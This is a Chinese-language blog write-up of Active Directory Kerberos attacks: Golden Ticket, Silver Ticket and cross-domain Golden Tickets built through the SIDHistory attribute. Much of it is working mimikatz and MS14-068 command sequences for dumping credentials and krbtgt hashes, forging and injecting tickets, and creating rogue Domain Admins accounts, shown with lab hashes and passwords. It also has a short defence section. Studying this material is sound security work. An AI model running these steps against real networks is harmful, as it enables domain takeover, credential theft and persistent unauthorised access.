黄金票据和白银票据

黄金票据(Golden Ticket)

Kerberos的认证流程就不多介绍了

原理:

在AS_REQ & AS_REP中,用户使用自身hash加密时间戳发送给KDC,KDC验证成功后返回用krbtgt hash加密的TGT票据。如果我们有krbtgt的hash,就可以自己给自己签发任意用户的tgt票据。

利用前提:

  • 拿到域控(没错就是拿到域控QAQ),适合做权限维持
  • 有krbtgt用户的hash值(aeshash ntlmhash等都可以,后面指定一下算法就行了)

条件要求:

  • 域名
  • 域的SID 值
  • 域的KRBTGT账户NTLM密码哈希
  • 伪造用户名

实验流程

金票的生成需要用到 krbtgt 的密码 HASH 值,可以通过 mimikatz 中的 lsadump::dcsync /domain:yunying.lab /user:krbtgt 命令获取 krbtgt 的值。如果已经通过其他方 式获取到了 KRBTGT HASH 也可以直接进行下一步。

因为本地环境原因 没复现起 就参考的:https://www.jianshu.com/p/4936da524040

一、伪造凭据,提升域内普通用户的权限

我们现在以一个本地administrator用户登录域内的一个主机中。

image-20220214010856407

通过命令:net config workstation,可知域名为:cyberpeace和其他信息。

image-20220214010910320

通过命令:nltest /dsgetdc:域名,可知DC主机名为:scene。

image-20220214010924517

上传mimikatz,以管理员权限运行CMD,再去执行mimikatz:

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

打开生成的log.txt可以看到有一个域内用户devuser,且密码是HOTdev123456

image-20220214010941368

使用用户devuser登录到域内,whoami查看下当前用户为devuser:

image-20220214010954297

这里利用MS14-068来提权,先检查下是否有MS14-068, CVE编号CVE-2014-6324,补丁为 3011780 : systeminfo |find “3011780”,如果返回为空就说明没有打补丁,存在漏洞,需要注意的是域内普通用户提权成功后是有时效性的。

image-20220214011008677

执行:dir /scene.cyberpeace.com/c$,提醒权限不够:

image-20220214011019977

上传mimikatz和MS14-068提权工具,whoami /user或者whoami/all查看devuser用户的suid:

image-20220214011034788

使用MS14-068伪造票据:
执行命令:C:/MS14-068>MS14-068.exe -u devuser@cyberpeace.com -p HOTdev123456 -s S-1-5-21-9 7341123-1865264218-933115267-1108 -d scene.cyberpeace.com,会在当前目录下生成一个凭证。

使用方法:

1
ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址 

使用mimikatz清空之前缓存的凭证,导入伪造的凭证:

1
2
mimikatz # kerberos::purge  //清空票据
mimikatz # kerberos::ptc 票据文件地址

image-20220214011112203

再输入dir //scene.cyberpeace.com/c$,发现访问成功,现在我们有域管的权限:

image-20220214011123670

添加域管用户aaa:

1
2
net user aaa Qwe123... /add /domain
net group "Domain Admins" aaa /add /domain

其实这一步 如果有条件的话 直接在域控上操作 就不需要这提权 创建域管了

二、伪造金票

登录aaa域管用户,执行whoami可以看到是aaa用户:

image-20220214011312427

使用一下命令导出用户krbtgt的hash:

1
2
3
mimikatz(commandline) # privilege::debug
mimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /all /csv
mimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /user:krbtgt

image-20220214011334600

再执行以下命令可以看到krbtgt用户的SID:

image-20220214011358729

利用mimikatz生成金票生成.kirbi文件并保存:

1
2
3
4
5
6
7
mimikatz.exe "kerberos::golden /admin:system /domain:cyberpeace.com /sid:S-1-5-21-97341123-1865264218-933115267 /krbtgt:95972cdf7b8dde854e74c1871f6d80a0 /ticket:ticket.kirbi" exit

/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称 //不是写入内存中的命令!

image-20220214011420209

三,金票的使用(普通域账户,利用黄金票据,创建域管账户)

登录域内普通用户,通过mimikatz中的kerberos::ptt功能将ticket.kirbi导入内存中。

1
2
mimikatz # kerberos::purge         
mimikatz # kerberos::ptt ticket.kirbi

image-20220214011457670

此时尝试创建一个ccc的域管账号,命令执行成功:

image-20220214011511599

防御

防御措施如下:

  • 限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机(不要让其他管理员登录到这些服务器)将所有其他权限委派给自定义管理员组。这大大降低了攻击者访问域控制器的Active Directory的ntds.dit。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码
  • 禁用KRBTGT帐户,并保存当前的密码以及以前的密码。KRBTGT密码哈希用于在Kerberos票据上签署PAC并对TGT(身份验证票据)进行加密。如果使用不同的密钥(密码)对证书进行签名和加密,则DC(KDC)通过检查KRBTGT以前的密码来验证
  • 建议定期更改KRBTGT密码(毕竟这是一个管理员帐户)。更改一次,然后让AD备份,并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法
  • 一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。通过快速更改KRBTGT密码两次,使任何现有的黄金票据(以及所有活动的Kerberos票据)失效。这将使所有Kerberos票据无效,并消除攻击者使用其KRBTGT创建有效金票的能力

银票SILVER TICKET

原理

如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。
在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。
所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,从而更加隐蔽,但是伪造的门票只对部分服务起作用,如cifs(文件共享服务),mssql,winrm(windows远程管理),DNS等等

特点

1.不需要与KDC进行交互 2.需要server的NTLM hash

利用前提:

  • 拿到目标机器hash(是目标机,不一定是域控) 相当于server

条件要求:

  • 域名
  • 域sid
  • 目标服务器FQDN
  • 可利用的服务
  • 服务账号的NTML HASH
  • 需要伪造的用户名

二、伪造银票

先添加的域管账号 这里不一定就要域管 只是实验用的域管

1
2
net user ccc Qwe1234/add /domain
net group "Domain Admins" cccc /add /domain

登录上面创建的域管用户,用管理员权限打开CMD,cd 到 mimikatz 存放的目录,去执行mimikatz的命令,得到SID和NTLM,

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

image-20220214012709895

把HASH文件保存到本地,在重新登录到域内机器的本地账户,将hash文件和mimikatz复制进去:
先使用mimikatz清空票据,再导入伪造的票据,具体伪造票据的命令:

1
kerberos::golden /domain:cyberpeace.com /sid:S-1-5-21-2718660907-658632824-2072795563 /target:scene.cyberpeace.com /service:cifs /rc4:9a68826fdc2811f20d1f73a471ad7b9a /user:test /ptt

使用方法:
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt

其中的用户名可以随便写

服务类型可以从以下内容中来进行选择,因为我们没有TGT去不断申请ticket,所以只能针对某一些服务来进行伪造

image-20220214012843399

image-20220214012859781

测试一下,成功执行dir //scene.cyberpeace.com/c$ ,并且可以创建域管账号:

image-20220214013019349

金票和银票的区别

获取的权限不同

金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS

认证流程不同

金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server

加密方式不同

金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密

Golden Ticket 和Silver Ticket都会在日志,不同的是,Golden Ticket会在域控中留下日志,Silver Ticket 仅在目标系统留下日志,因为Silver Ticket 不与KDC产生交互

Enhanced Golden Tickets

在 Golden Ticket 部分说明可利用 krbtgt 的密码 HASH 值生成金票,从而能够获取域控权 限同时能够访问域内其他主机的任何服务。但是普通的金票不能够跨域使用,也就是说金票 的权限被限制在当前域内。

普通金票的局限性

为什么普通金票会被限制只能在当前域内使用? 在上一篇文章中说到了域树和域林的概念,同时说到 YUNYING.LAB 为其他两个域 (NEWS.YUNYING.LAB 和 DEV.YUNYING.LAB)的根域,根域和其他域的最大的区别就是根域对 整个域林都有控制权。而域正是根据 Enterprise Admins 组(下文会说明)来实现这样的权限 划分。

image-20220214015124778

实验环境

根域:YUNYING.LAB

域控:DC.YUNYING.LAB

子域:NEWS.YUNYING.LAB

域控:NEWSDC.NEWS.YUNYING.LAB

子域:DEV.YUNYING.LAB

域控:DEVDC.DEV.YUNYING.LAB

操作系统均为Windows Server 2008 R2 x64

使用工具:

Mimikatz

实验流程:

首先使用mimikatz在NEWSDC(NEWS.YUNYING.LAB的域控)上生成普通的金票,真实环境会是在域内的主机中,这里方便演示所以在域控中,原理和结果是一样的。

image-20220214015235826

这里使用的是NEWS.YUNYING.LAB域的SID号,访问根域的DC共享文件夹被拒绝。

image-20220214015248305

下面说明下具体原因。

Enterprise Admins组

Enterprise Admins组是域中用户的一个组,只存在于一个林中的根域中,这个组的成员,这里也就是YUNYING.LAB中的Administrator用户(不是本地的Administrator,是域中的Administrator)对域有完全管理控制权。

image-20220214015302371

通过whoami命令在yunying.lab的域控上可以看到Enterprise Admins组的RID为519(最后三位)

image-20220214015315827

Domain Admins组

可以看到在子域中是不存在Enterprise Admins组的,在一个子域中权限最高的组就是Domain Admins组。截图是news.yunying.lab这个子域中的Administrator用户,这个Administrator有当前域的最高权限。

image-20220214015334730

通过whoami命令也可以看到在news.yunying.lab这个子域中没有Enterprise Admins组的SID号。

image-20220214015351528

在子域中使用mimikatz创建的黄金票据不能跨域使用的原因也就在这里,通过whoami可以看到YUNYING.LAB中Enterprise Admins组的SID号是:

S-1-5-21-4249968736-1423802980-663233003-519

而NEWS.YUNYING.LAB域中的SID号是:

S-1-5-21-3641416521-285861825-2863956705-XXX

mimikatz通过/sid选项接收SID号然后在尾部拼接RID号(512,519等),拼接之后生成的Enterprise Admins组的完整SID是:

S-1-5-21-3641416521-285861825-2863956705-519

而这个SID在整个域林中都是不存在的,所以在子域中通过mimikatz生成的金票无法跨域或者是访问其他域的资源。在一个域林中,域控权限不是终点,根域的域控权限才是域渗透的终点。

突破限制

普通的黄金票据被限制在当前域内,在2015年Black Hat USA中国外的研究者提出了突破域限制的增强版的黄金票据。通过域内主机在迁移时SIDHistory属性中保存的上一个域的SID值制作可以跨域的金票。这里没有迁移,直接拿根域的SID号做演示。

image-20220214015429835

如果知道根域的SID那么就可以通过子域的KRBTGT的HASH值,使用mimikatz创建具有 Enterprise Admins组权限(域林中的最高权限)的票据。环境与上文普通金票的生成相同。

首先我们通过klist purge删除当前保存的Kerberos票据,也可以在mimikatz里通过kerberos::purge来删除。

image-20220214015439963

然后通过mimikatz重新生成包含根域SID的新的金票

image-20220214015451804

注意这里是不知道根域YUNYING.LAB的krbtgt的密码HASH的,使用的是子域NEWS.YUNYING.LAB中的KRBTGT的密码HASH。

然后再通过dir访问DC. YUNYING.LAB的共享文件夹,发现已经可以成功访问。

image-20220214015504196

此时的这个票据票是拥有整个域林的控制权的。我们知道制作增强金票的条件是通过SIDHistory那防御方法就是在域内主机迁移时进行SIDHistory过滤,它会擦除SIDHistory属性中的内容。

参考:https://www.anquanke.com/post/id/172900


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!